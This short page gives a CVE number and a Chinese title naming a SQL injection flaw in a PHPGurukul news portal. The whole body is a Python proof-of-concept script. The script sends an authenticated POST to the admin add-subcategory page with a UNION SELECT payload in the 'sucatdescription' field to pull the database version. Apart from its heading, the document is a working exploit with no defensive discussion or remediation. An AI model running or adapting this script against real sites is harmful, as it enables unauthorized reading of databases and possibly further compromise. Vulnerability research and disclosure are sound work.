CVE-2026-5839 PHPGurukul新闻门户SQL注入漏洞

import requests # Target URL url = "http://target.com/admin/add-subcategory.php" # Attacker needs valid admin session cookies (PR:H requirement) cookies = { "PHPSESSID": "admin_session_id_here", "auth_token": "valid_token_here" } # Payload to inject SQL via sucatdescription parameter # Example: Attempting to extract database version payload = { "categoryname": "Test", "sucatdescription": "Test' UNION SELECT 1, version(), 3, 4, 5-- -", "submit": "Submit" } try: response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")